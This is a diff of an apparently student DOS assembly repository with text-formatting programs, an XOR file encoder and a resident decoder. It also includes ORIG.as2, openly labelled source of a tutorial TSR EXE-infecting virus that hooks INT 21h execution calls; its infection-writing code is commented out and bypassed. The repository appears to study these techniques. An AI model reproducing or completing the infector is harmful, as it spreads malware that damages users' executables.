+        mov bx, dx              ; bx will hold count of gaps between words
+        test bx, bx             ; if we've got only one word - so we don't need any gaps
+        jz just_copy
+
+        xor dx, dx              ; clear dx for normal div's work
+        div bx                  ; AX - holds count of spaces, bx - count of gaps, so
+        mov toins, ax           ; new ax - holds space count in each gap, and 
+                                ; dx - remainder of division
+
+just_copy:                      ; Prepare of our main loop of creation of output string
+        mov si, real_ofs        ; Source - input string
+        mov di, offset to       ; Destination - memory to hold output string
+        
+main_loop:                      ; Here comes the main loop
+        mov al, [si]            ; get character
+        test al, al             ; if we're reached end of string
+        jz wr_out               ; goto write output
+
+        cmp al, ' '             ; if we got space - 
+        jz space                ; work with this gap
+
+        movsb                   ; else just copy character from input to output
+        jmp main_loop           ; continue loop
+
+space:                          ; if we've got space - skip all following in input 
+                                ; and add needed space count in gap in output
+        xor cx, cx
+        not cx
+        xchg si, di             ; scas works with di - so we need to put si there
+        repz scasb              ; al - hold ' ' (by that reason we are here)
+        dec di                  ; so we've skipped all following spaces in input
+
+        xchg di, si             ; return poiners at their normal state 
+
+        mov cx, toins           ; put needed space count in output string
+        rep stosb               ; in al we're still got ' '
+
+        test dx, dx             ; if our remainder are zero
+        jz main_loop            ; - continue loop
+        stosb                   ; else - put one more space in current gap
+        dec dx                  ; and decrease remainder
+        jmp main_loop           ; and of course continue our loop
+        
+wr_out:                         ; Now we're reached final touches to our prog 
+        xor ax, ax              ; We're going to search for tailing null char
+                                ; (we could skip this line because the only way to get here
+                                ;  is only from testing al to zero, so it DEFINITLY zero)
+        mov di, offset to       ; point to output string
+        xor cx, cx              ; Search for FFFF chars
+        not cx                  ;
+        repnz scasb             ; Search tailing zero
+        dec di                  ; And put
+        mov al, '$'             ; '$'
+        stosb                   ; instead of it
+
+        mov ah, 9               ; Use DOS's help
+        mov dx, offset to       ; to write output 
+        int 21h                 ; to user's eyes
+
+        jmp norm_out            ; output is OK!
+bad_len:
+        mov ah, 9h
+        mov dx, offset bad_len_str
+        int 21h
+        jmp short norm_out
+no_string:
+        mov ah, 9h
+        mov dx, offset no_input_str
+        int 21h
+        jmp short norm_out
+
+norm_out:
+        mov ah, 4ch
+        int 21h
+
+toins   dw 0
+divis   dw 0
+wordcnt dw 0
+need_len dw 30
+real_ofs dw 0
+        dw 0    ; front border of string
+from    db '   so      hello my dear world   ',0
+        db 100-($-from) dup (0)
+to      db 100 dup (0)
+bad_len_str db 'Input string length exceeds needed length$'
+no_input_str db 'No input string entred$'
+end start

BIN
ASM/!SPBSTU/4sem/2.EXE


BIN
ASM/!SPBSTU/4sem/2.TR


+ 241 - 0
ASM/!SPBSTU/4sem/2.as2

@@ -0,0 +1,241 @@
+; ‚ à¨ ­â 19
+; ‚¥àá¨ï 2. „ ­­ë¥ ¨§ ä ©«  2.txt
+; …­¨ª¥¥¢ ˆ.�.  2084/1
+.286
+cseg segment byte public 'CODE'
+        assume cs:cseg, ds:dseg, es:dseg
+start:  
+        mov ax, seg dseg
+        mov es, ax
+        mov ds, ax
+ ;------------------------------
+        mov ax, 3d00h
+        mov dx, offset fname
+        int 21h
+        jnc $+5
+        jmp no_file
+
+        push ax
+        mov bp, 1               ; BP will hold ifWORK
+line_loop:
+        pop bx
+        mov cx, 1
+        mov dx, offset from
+char_loop:
+        mov ah, 3fh
+        int 21h
+        mov si, dx
+        test ax, ax
+        jz eof
+        cmp byte ptr ds:[si], 0ah
+        je eol
+        inc dx
+        jmp char_loop
+
+eol:    mov byte ptr ds:[si-1], 0
+        push bx
+        jmp work
+
+eof:    mov byte ptr ds:[si], 0
+        xor bp, bp        
+        mov ah, 3eh
+        int 21h
+work:   
+        cmp byte ptr [from], 0  ; Test input string to non-empty
+        jnz $+5
+        jmp no_string
+
+        mov di, offset to
+        add di, [need_len]
+        mov [max_len], di
+        
+        xor cx, cx              ; Begin of work
+        not cx
+        mov di, offset from     
+        mov al, ' '
+        repz scasb              ; Skip all spaces at the beginning
+        dec di
+        mov real_ofs, di        ; Save offset of first non-space character
+
+        xor ax, ax
+        xor cx, cx
+        not cx
+        repnz scasb             ; Search for tailing zero
+
+        dec di
+        dec di                  ; di - points to last non-zero char
+
+        not cx
+        dec cx
+        push cx                 ; Save full length of string
+
+        std                     ; Change direction flag to backwards
+        mov al, ' '
+        xor cx, cx
+        not cx
+        repz scasb              ; Search for non-space charecter at the end of string
+
+        inc di
+        inc di                  ; di points to next after last non-space
+        mov byte ptr [di], 0    ; Discard tailing spaces
+
+        not cx
+        dec cx                  ; Get count of tailing spaces
+
+        pop ax                  
+        sub ax, cx              ; Calculate length of trimmed string (without leading and tailing spaces)
+        jg  $+5                 ; If length is positive - countinue work
+        jmp no_string
+
+        cld                     ; Restore normal direction flag
+        mov cx, ax              ; Set trimmed length
+        mov di, real_ofs        ; Set pointer to the beginng of string
+
+
+        xor bx, bx              ; bx holds non-space chars count
+        xor dx, dx              ; dx holds word count-1
+
+word_loop:                      ; loop for calculate word and non-space char count in sentence
+        mov al, [di]            ; get char from string
+        test al, al             ; test for EOS
+        jz next_1               ; If so - we are reached end of string
+        cmp al, ' '             ; Compare with space
+        jz inloop1              ; if so - skip all following spaces and inc word count
+        inc bx                  ; Increment letters count
+        inc di                  ; advance pointer
+        dec cx                  ; decrement residuary string length
+        jnz word_loop           ; if we got non-tested chars - continue loop
+        jmp next_1              ; if not - end our loop
+
+inloop1:                        ; If we've found space in input string
+        inc dx                  ; Increment word count
+        inc cx                  ; Inc string's length for next line's right work
+        repz scasb              ; Skip all following spaces in input string
+        dec di                  ; Adjust pointer to point to first non-space char
+        jmp word_loop           ; Countinue loop
+                
+next_1: mov ax, need_len        ; Get our required output string length
+        sub ax, bx              ; Decrease this length by total count of letters
+                                ; to get count of spaces, that we need to arrange
+                                ; between words
+
+        cmp ax, dx              ; if that count is less than spaces we've got to put
+                                ; betten words to save them separated then
+        jge need_spaces         ; Show error message
+
+        mov toins, 1            ; We'll have to crop input string, so leave we'll 
+                                ; only one space as gaps
+        xor dx, dx              ; And don't need for additional spaces
+        jmp just_copy
+
+need_spaces:        
+        mov bx, dx              ; bx will hold count of gaps between words
+        test bx, bx             ; if we've got only one word - so we don't need any gaps
+        jz just_copy
+
+        xor dx, dx              ; clear dx for normal div's work
+        div bx                  ; AX - holds count of spaces, bx - count of gaps, so
+        mov toins, ax           ; new ax - holds space count in each gap, and 
+                                ; dx - remainder of division
+
+just_copy:                      ; Prepare of our main loop of creation of output string
+        mov si, real_ofs        ; Source - input string
+        mov di, offset to       ; Destination - memory to hold output string
+        
+main_loop:                      ; Here comes the main loop
+        cmp di, [max_len]
+        jl $+4
+        jmp wr_out
+
+        mov al, [si]            ; get character
+        test al, al             ; if we're reached end of string
+        jz wr_out               ; goto write output
+
+        cmp al, ' '             ; if we got space - 
+        jz space                ; work with this gap
+
+        movsb                   ; else just copy character from input to output
+        jmp main_loop           ; continue loop
+
+space:                          ; if we've got space - skip all following in input 
+                                ; and add needed space count in gap in output
+        xor cx, cx
+        not cx
+        xchg si, di             ; scas works with di - so we need to put si there
+        repz scasb              ; al - hold ' ' (by that reason we are here)
+        dec di                  ; so we've skipped all following spaces in input
+
+        xchg di, si             ; return poiners at their normal state 
+
+        mov cx, toins           ; put needed space count in output string
+        rep stosb               ; in al we're still got ' '
+
+        test dx, dx             ; if our remainder are zero
+        jz main_loop            ; - continue loop
+        stosb                   ; else - put one more space in current gap
+        dec dx                  ; and decrease remainder
+        jmp main_loop           ; and of course continue our loop
+        
+wr_out:                         ; Now we're reached final touches to our prog 
+        mov byte ptr [di], 0
+        xor ax, ax              ; We're going to search for tailing null char
+                                ; (we could skip this line because the only way to get here
+                                ;  is only from testing al to zero, so it DEFINITLY zero)
+        mov di, offset to       ; point to output string
+        xor cx, cx              ; Search for FFFF chars
+        not cx                  ;
+        repnz scasb             ; Search tailing zero
+        dec di                  ; And put
+        mov al, '$'             ; '$'
+        stosb                   ; instead of it
+
+        mov ah, 9               ; Use DOS's help
+        mov dx, offset to       ; to write output 
+        int 21h                 ; to user's eyes
+        mov dx, offset newline 
+        int 21h                 
+outta:        
+        test bp, bp
+        jz norm_out
+        jmp line_loop; output is OK!
+bad_len:
+        jmp short norm_out
+no_string:
+        mov ah, 09h
+        mov dx, offset newline
+        int 21h
+        jmp short outta
+no_file:
+        mov ah, 09h
+        mov dx, offset no_file_str
+        int 21h
+        jmp norm_out
+err_read:
+        mov ah, 09h
+        mov dx, offset err_read_str
+        int 21h
+        jmp norm_out
+
+norm_out:
+        mov ah, 4ch
+        int 21h
+ends
+dseg segment para public 'DATA'
+fname   db '2.txt',0
+toins   dw 0
+divis   dw 0
+wordcnt dw 0
+need_len dw 100
+real_ofs dw 0
+max_len dw 0
+newline db 0dh, 0ah, '$'
+no_file_str db 'Couldn''t open file 2.txt$'
+err_read_str db 'Error while reading 2.txt$'
+        dw 0    ; front border of string
+from    db 200 dup (?)
+to      db 100 dup (?)
+ends
+sseg segment stack
+ db 200 dup (?)
+ends
+end start

+ 4 - 0
ASM/!SPBSTU/4sem/2.txt

@@ -0,0 +1,4 @@
+TASM.EXE is a real-mode assembler, meaning that it is capable of using
+only the lower 640K of memory addressable by DOS. If you're assembling
+larger applications, use either TASMX.EXE or TASM32.EXE. Both of these
+assemblers use the DPMI server to take advantage of extended memory.

+ 4 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2.txt

@@ -0,0 +1,4 @@
+TASM.EXE is a real-mode assembler, meaning that it is capable of using
+only the lower 640K of memory addressable by DOS. If you're assembling
+larger applications, use either TASMX.EXE or TASM32.EXE. Both of these
+assemblers use the DPMI server to take advantage of extended memory.

+ 4 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/2.txt

@@ -0,0 +1,4 @@
+TASM.EXE is a real-mode assembler, meaning that it is capable of using
+only the lower 640K of memory addressable by DOS. If you're assembling
+larger applications, use either TASMX.EXE or TASM32.EXE. Both of these
+assemblers use the DPMI server to take advantage of extended memory.

BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/CODER.EXE


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/CODER.TR


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/COPYTO.TR


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.EXE


+ 8 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.MAP

@@ -0,0 +1,8 @@
+
+ Start  Stop   Length Name               Class
+
+ 00000H 00693H 00694H DECODER            
+
+Program entry point at 0000:0000
+Warning: No stack
+

BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/DECODER.TR


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/Dldr.exe


BIN
ASM/!SPBSTU/4sem/Kursovik/2/2/HOST.TR


+ 8 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/ORIG.MAP

@@ -0,0 +1,8 @@
+
+ Start  Stop   Length Name               Class
+
+ 00000H 003A7H 003A8H VIRUS              
+
+Program entry point at 0000:00CB
+Warning: No stack
+

+ 254 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/ORIG.as2

@@ -0,0 +1,254 @@
+.286
+virus segment
+  assume cs:virus, ds:virus, es:virus
+ 
+ jumps
+ org 0CBh
+ 
+start:
+ 
+  call delta                        ;Calculate delta offset
+delta:
+  pop bp
+  sub bp,offset delta
+ 
+  push ds                           ;save PSP address
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0CBCBh                     ;our "Codebreaker" residency check
+  int 21h                           ;>what is CB?
+  cmp bx,0C001h                     ;>C001!! :o)
+  je restore                        ;its already resident
+ 
+  pop ds                            
+  push ds                           ;PSP address back into DS
+  ;--------------------------------------------------
+  mov ax,ds                                 ;MCB residency
+  dec ax                                    ;For further clarification
+  mov ds,ax                                 ;read Codebreaker Tutorial 3
+ 
+  sub word ptr ds:[3],40h
+  sub word ptr ds:[12h],40h
+ 
+  xor ax,ax
+  mov ds,ax
+ 
+  dec word ptr ds:[413h]
+ 
+  mov ax,word ptr ds:[413h]
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si,[bp+start]
+  xor di,di
+  mov cx,the_end - start
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 ;For further clarification
+                                            ;read Codebreaker Tutorial 3
+  mov ax,es                                 
+  mov bx,new_int21h-start
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-start],bx
+  mov word ptr es:[old_int21h+2-start],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ;Warns the poor shmuck
+  lea dx,[bp+message]
+  int 21h
+ 
+restore:                                    ;Control handed back
+ 
+  lea si,[bp+old_ip]                        ;Restore orig IP
+  lea di,[bp+original_ip]
+  mov cx,4
+  rep movsw
+ 
+; Now for a clarification of the next four lines. At the beginning of
+; the virus DS contains the address of the PSP. We now restore the
+; address from the stack, place the address in ES.  Then add 10h to
+; skip over the PSP.  Skip over the PSP(100h) with 10h? Sounds a little
+; fishy, right?  Well, remember that when you add 10h to AX, you are
+; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
+ 
+  pop ds
+  mov ax,ds
+  mov es,ax
+  add ax,10h
+ 
+  add word ptr cs:[bp+original_cs],ax       ;Orig CS
+  cli
+  add ax,word ptr cs:[bp+original_ss]       ;Orig SS
+  mov ss,ax
+  mov sp,word ptr cs:[bp+original_sp]       ;Orig SP
+  sti
+ 
+ db 0eah                                    ;jump to to it
+ original_ip dw ?                           ;
+ original_cs dw ?
+ original_ss dw ?
+ original_sp dw ?
+ 
+ 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0CBCBh                             ;residency check
+  jne no_install_check
+  mov bx,0C001h                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ah,4bh                                ;check if execute
+  je infect
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+ 
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+ 
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp,offset tsr_delta
+ 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx,[bp+header]                        ;into our buffer
+ 
+  mov cx,1ch
+  int 21h
+ 
+  cmp word ptr cs:[bp+header],'ZM'          ;check if its an EXE
+  je ok
+  cmp word ptr cs:[bp+header],'MZ'
+  je ok
+  jmp close
+ 
+ ok:
+  cmp word ptr cs:[bp+header+12h],'BC'      ;Checksum value checked for
+  jmp close                                  ;previous infection
+ 
+  mov word ptr cs:[bp+header+12h],'BC'      ;Mark it as infected
+ 
+  mov ax,word ptr cs:[bp+header+14h]        ;Save orig ExeIP
+  mov word ptr cs:[bp+old_ip],ax            ;Store in our buffer
+  mov ax,word ptr cs:[bp+header+16h]        ;Save orig ReloCS
+  mov word ptr cs:[bp+old_cs],ax            
+  mov ax,word ptr cs:[bp+header+0eh]        ;Save orig ReloSS
+  mov word ptr cs:[bp+old_ss],ax
+  mov ax,word ptr cs:[bp+header+10h]        ;Save orig ExeSP
+  mov word ptr cs:[bp+old_sp],ax
+ 
+  mov ax,4202h                              ;Set pointer to end of file
+  xor cx,cx
+  xor dx,dx
+;  int 21h
+ 
+;  push ax dx                                ;Save EOF results
+ 
+                                            ;Calculate new CS:IP, we set
+                                            ;it to the EOF (this is where
+                                            ;we will attach our virus)
+ 
+;  mov cx,16                                 ;Convert filesize into 16 byte
+;  div cx                                    ;paragraphs
+ 
+;  sub ax,word ptr cs:[bp+header+8]          ;Substract Header size from
+                                            ;filesize to get the image
+                                            ;(code/data) size.
+ 
+                                            ;save:
+;  mov word ptr cs:[bp+header+14h],dx        ;New ExeIP
+;  mov word ptr cs:[bp+header+16h],ax        ;New ReloCS
+ 
+ ; pop dx ax                                 ;restore saved filesize
+ 
+ ; add ax,the_end - start                    ;Add virus size to file size
+;  adc dx,0                                  ;Adds carry to DX
+ 
+ ; mov cx,512                                ;Calculate amount of pages
+ ; div cx
+ 
+ ; cmp dx,0
+ ; je no_remainder
+ ; inc ax                                    ;if remainder, add 1
+ ;no_remainder:
+ 
+ ; mov word ptr cs:[bp+header+4],ax          ;New PageCnt
+ ; mov word ptr cs:[bp+header+2],dx          ;New PartPag
+ 
+ ; mov ah,40h                                ;write the virus to the EOF
+ ; lea dx,[bp+start]
+ ; mov cx,the_end - start
+ ; int 21h
+ 
+ ; mov ax,4200h                              ;Send pointer to beginning
+ ; xor cx,cx
+ ; xor dx,dx
+ ; int 21h
+ 
+ ; mov ah,40h                                ;Write the new header
+ ; lea dx,[bp+header]
+ ; mov cx,1ch
+ ; int 21h
+ 
+mov al,7
+int 29h                                     ; just a BEEEEEPPP
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+ 
+ 
+ old_ip dw offset exit_prog
+ old_cs dw 0
+ old_ss dw 0
+ old_sp dw 0fffeh
+ 
+ header db 1ch dup(?)                       ;Buffer for header
+ 
+ message db 10,13,10,13
+ db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
+ db '- has been installed in your computers memory and will from now on infect any -',10,13
+ db '- EXE file that you execute.                                                  -',10,13
+ db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus.              -',10,13,10,13
+ db '                           - www.codebreakers.org -',10,13,'$'
+ 
+ the_end:
+ 
+ exit_prog:
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+ 
+virus ends
+end start

+ 285 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/coder.as2

@@ -0,0 +1,285 @@
+jumps
+.286
+cBUF_SIZE   equ 512
+
+cseg segment byte public 'CODE'
+        assume cs:cseg, ds:cseg, es:cseg
+start:
+        mov ax, seg cseg
+        mov es, ax
+        push ax
+
+        mov si, 80h
+        cmp byte ptr ds:[si], 0
+        je errusg
+        xor ax, ax
+        mov al, ds:[si]
+        dec ax
+        mov cx, ax
+        inc si
+        inc si
+
+        mov di, offset _hname
+
+lp:     cmp byte ptr ds:[si], 0dh
+        je wrk
+        movsb
+        loop lp
+
+wrk:    pop ds
+
+;------------- Host --------------------
+        mov ax, 3d02h
+        mov dx, offset _hname
+        int 21h
+        jc IOErr
+        mov bx, ax
+        mov handle, ax
+;------------- Host --------------------
+
+;------- Password ----------------------
+        mov ah, 09h
+        mov dx, offset enter_pass
+        int 21h
+        ; Read password from stdin
+        ;-------------------------------
+        lea di, [pass]
+        mov cx, 20
+chrloop:mov ah, 08h
+        int 21h
+        cmp al, 0Dh
+        jz pass_end
+        stosb
+        mov ah, 02h
+        mov dl, '*'
+        int 21h
+        dec cx
+        jnz chrloop
+pass_end:
+        mov ah, 09h
+        mov dx, offset newline
+        int 21h
+        sub cx, 20
+        neg cx
+        mov [pass_len], cx
+        cmp cx, 3
+        jl pass_error
+        ;-----------------------------------
+        ; Done
+
+;-------------------------
+; Encode all the file
+;------------------------- 
+        ; Calculate count of encoded bytes
+        mov ax, 4202h
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov cx, dx      ; Hi part
+        mov dx, ax      ; Lo part
+
+        sub dx, 2
+        sbb cx, 0
+
+        push cx
+        push dx
+
+        mov bx, handle
+        mov ax, 4200h
+        xor cx, cx
+        mov dx, 2
+        int 21h
+
+        pop dx
+        pop cx
+buf_loop:
+        push cx
+        push dx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jl last_buf
+
+begins:
+        mov ah, 3Fh             ; Read full buffer of
+        mov cx, cBUF_SIZE       ; EXECing file
+        lea dx, ds:[buffer]
+        int 21h         
+
+        mov cx, ax
+        dec cx
+        lea di, ds:[buffer]
+        call addmagic
+        lea di, ds:[buffer]
+        call encode 
+
+        mov ax, 4201h
+        mov dx, cBUF_SIZE
+        neg dx
+        xor cx, cx
+        not cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        mov cx, cBUF_SIZE ; the input file
+        lea dx, ds:[buffer]
+        int 21h         ;
+
+        pop dx
+        pop cx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jmp buf_loop
+
+last_buf:
+        pop cx
+        pop dx
+
+        mov ah, 3Fh     ; Read data of
+        push cx
+        lea dx, ds:[buffer]
+        int 21h         ;
+
+        lea di, ds:[buffer]
+        pop cx
+        push cx
+        dec cx
+        lea di, ds:[buffer]
+        call addmagic
+        lea di, ds:[buffer]
+        call encode 
+
+        mov ax, 4201h
+        pop dx
+        push dx
+        neg dx
+        xor cx, cx
+        not cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        pop cx
+        lea dx, ds:[buffer]
+        int 21h         ;
+        ;- Done 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+
+;--------------------------------------------------        
+        mov ah, 4ch
+        int 21h
+;--------------------------------------------------
+;==================================================
+;--------------------------------------------------
+pass_error:
+        mov dx, offset bad_pass
+        mov ah, 09h
+        int 21h
+
+        mov ax, 4cFFh
+        int 21h
+errusg: pop ds
+        mov ah, 09h
+        mov dx, offset errstr
+        int 21h
+        mov ax, 4cFEh
+        int 21h
+
+IOErr: mov ah, 09h
+        mov dx, offset errstr
+        int 21h
+        mov ax, 4cFDh
+        int 21h
+
+;-----------------------------------------------
+encode proc near 
+        push si
+        push ax
+        push cx
+loops2: mov si, offset pass
+        cmp cx, cs:[pass_len]
+        jb lasts2
+        push cx
+        mov cx, cs:[pass_len]
+addmag2: mov al, cs:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, cs:[pass_len]
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, cs:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+addmagic proc near 
+        push si
+        push ax
+        push cx
+loops:  mov si, offset test_pass
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, cs:[si]
+        add es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, cs:[si]
+        add es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+io_err_str      db 'Error in file io', 0dh, 0ah, '$'
+enter_pass db 'Please enter pass: $'
+errstr     db 'usage: "coder.exe source"', 0dh, 0ah,'$'
+_hname          db 13 dup (0)
+bad_pass        db 'Bad password',0dh,0ah,'$'
+newline         db 0dh,0ah,'$'
+zeroBuf         db 400 dup (0)
+pass            db 20 dup (0)
+pass_len        dw ?
+handle          dw ?
+header          dw 14 dup (?)
+_isize          dw ?
+lastOffsH       dw ?
+lastOffsL       dw ?
+rCS2            dw ?
+rIP2            dw ?
+reloBuf         dw 200 dup (?)
+buffer          db cBUF_SIZE dup (?)
+ends
+ends
+
+sseg segment stack
+ db 200 dup (?)
+ends
+end start

+ 65 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/copyTo.as2

@@ -0,0 +1,65 @@
+.286
+decoder segment
+  assume cs:decoder, ds:decoder, es:decoder
+ 
+ jumps
+
+cMAX_FILE   equ 05
+cNAME_LEN   equ 12
+cPASS_LEN   equ 10
+cBUF_SIZE   equ 300
+ 
+start:
+  push ds
+  pop ax
+  xor si, si
+  
+loo1:
+  cmp ax, ds:[si+16h]
+  jz root
+  mov ax, ds:[si+16h]
+  mov ds, ax
+  jmp loo1
+
+root:
+  mov ax, ds:[2ch]
+  mov es, ax
+  dec ax
+
+  mov ds, ax
+  mov bx, ds:[3h]
+
+  xor di, di
+  xor ax, ax
+  xor cx, cx
+  not cx
+
+searchEND1:
+  repnz scasb
+  cmp byte ptr es:[di], 0
+  jz EXEC
+  jmp searchEND1
+
+EXEC:
+  inc di
+  inc di
+searchEND2:
+  repnz scasb
+  cmp byte ptr es:[di], 0
+  jz EEEE
+  jmp searchEND2
+
+EEEE:
+  mov ax, di
+  shr ax, 4
+
+  sub ax, bx
+
+  cmp ax, 40h
+  jl NO_MEM
+
+NO_MEM:
+  mov ah, 4ch
+  int 21h
+decoder ends
+end start

+ 586 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/decoder.as2

@@ -0,0 +1,586 @@
+.286
+decoder segment
+  assume cs:decoder, ds:decoder, es:decoder
+ 
+ jumps
+
+cMAX_FILE   equ 05
+cNAME_LEN   equ 12
+cPASS_LEN   equ 10
+cBUF_SIZE   equ 512
+
+start:
+ 
+  push ds                           ;save PSP address
+; Check command line
+  cmp byte ptr ds:[80h], 0
+  je install
+
+  cmp word ptr ds:[82h], 'u/'
+  je remove
+
+install: 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  je already_resident               ;its already resident
+
+;----------------
+; Read files&passwords
+  mov ax, 3d00h
+  mov dx, offset fname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cNAME_LEN
+  mov dx, offset files
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  mov ax, 3d00h
+  mov dx, offset pname
+  int 21h
+  jc exit_prog
+
+  xchg bx, ax
+
+  mov ah, 3fh
+  mov cx, cMAX_FILE*cPASS_LEN
+  mov dx, offset passwords
+  int 21h
+
+  mov ah, 3eh
+  int 21h
+  
+  pop ds                            
+  push ds                           ;PSP address back into DS
+
+  ;--------------------------------------------------
+  mov ax,ds                         ;MCB residency
+  dec ax
+  mov ds,ax
+
+  mov cx, the_end - RES_BEG         ; Size of interrupt handlers
+  shr cx, 10
+  inc cx
+
+  sub word ptr ds:[413h], cx        ; Decrease BIOS data's free space
+
+  shl cx, 6
+ 
+  sub word ptr ds:[3], cx           ; Decrease the size of Memory Block
+  sub word ptr ds:[12h], cx         ; Same, but in PSP
+ 
+  xor ax,ax
+  mov ds,ax
+ 
+  mov ax,word ptr ds:[413h]         ; Calculate address of free space
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si, [RES_BEG]                   ; Copy our prog there
+  xor di,di
+  mov cx, the_end - RES_BEG              ; Size of interrupt handlers
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 
+                                            
+  mov ax,es                                 
+  mov bx,0                                  ; Offset to interrupt in new address
+
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-RES_BEG],bx
+  mov word ptr es:[old_int21h+2-RES_BEG],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ; Installed OK message
+  lea dx,[message]
+  int 21h
+
+ exit_prog:
+
+  pop ds                                    ;Restore PSP in DS
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+;-----------------------------------------------------------------
+; Resident begins here
+RES_BEG:
+ 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0DEADh                             ;residency check
+  jne no_install_check
+  mov bx,0CAFEh                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ax, 0DEDDh
+  je uninstall
+  cmp ah, 4bh                               ;check if execute
+  je infect
+  cmp ah, 4ch                               ;check if terminate
+  je terminate
+
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+;--------------------------------
+uninstall:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  push cs
+  pop es
+
+  xor ax,ax
+  mov ds,ax
+ 
+  cli
+  xchg bx,word ptr es:[old_int21h-RES_BEG]
+  xchg ax,word ptr es:[old_int21h+2-RES_BEG]
+  
+  mov word ptr ds:[21h*4],bx
+  mov word ptr ds:[21h*4+2],ax
+  sti
+
+  mov cx, the_end - RES_BEG         ; Size of interrupt handlers
+  shr cx, 10
+  inc cx
+
+  add word ptr ds:[413h], cx        ;Increase BIOS data's free space by 1Kb
+  pop es
+  pop ds
+  popa
+
+  popf                                      ;restore all flags
+  iret                                      ;return
+;-------------------------------   
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp, offset tsr_delta
+
+  push ds
+  push dx
+
+  ; Test, if currently opening file is in database
+  mov di, dx
+  call SeekZ
+  push di
+
+  std
+  mov al, '\'
+  repnz scasb
+  cld
+  jnz $+3
+  inc di
+  inc di
+
+  pop cx
+  sub cx, di
+
+  push cx
+  push di
+
+  mov dx, 12
+
+  push cs
+  pop es
+  lea di, es:[bp+files]
+
+searchloop:
+  pop si
+  pop cx
+  push cx
+  push si
+  push di
+
+  mov al, es:[di]
+  test al, al
+  jz not_found
+
+  repz cmpsb
+  jz found
+
+  pop di
+  add di, dx
+  jmp searchloop
+
+found:
+  pop di
+  pop si
+  pop cx
+
+; Calculate offset to password
+; Get number of file in table
+  lea si, es:[bp+files]
+  sub di, si
+  mov ax, di
+  mov bx, cNAME_LEN
+  xor dx, dx
+  div bx
+
+  mov bx, cPASS_LEN
+  mul bx
+
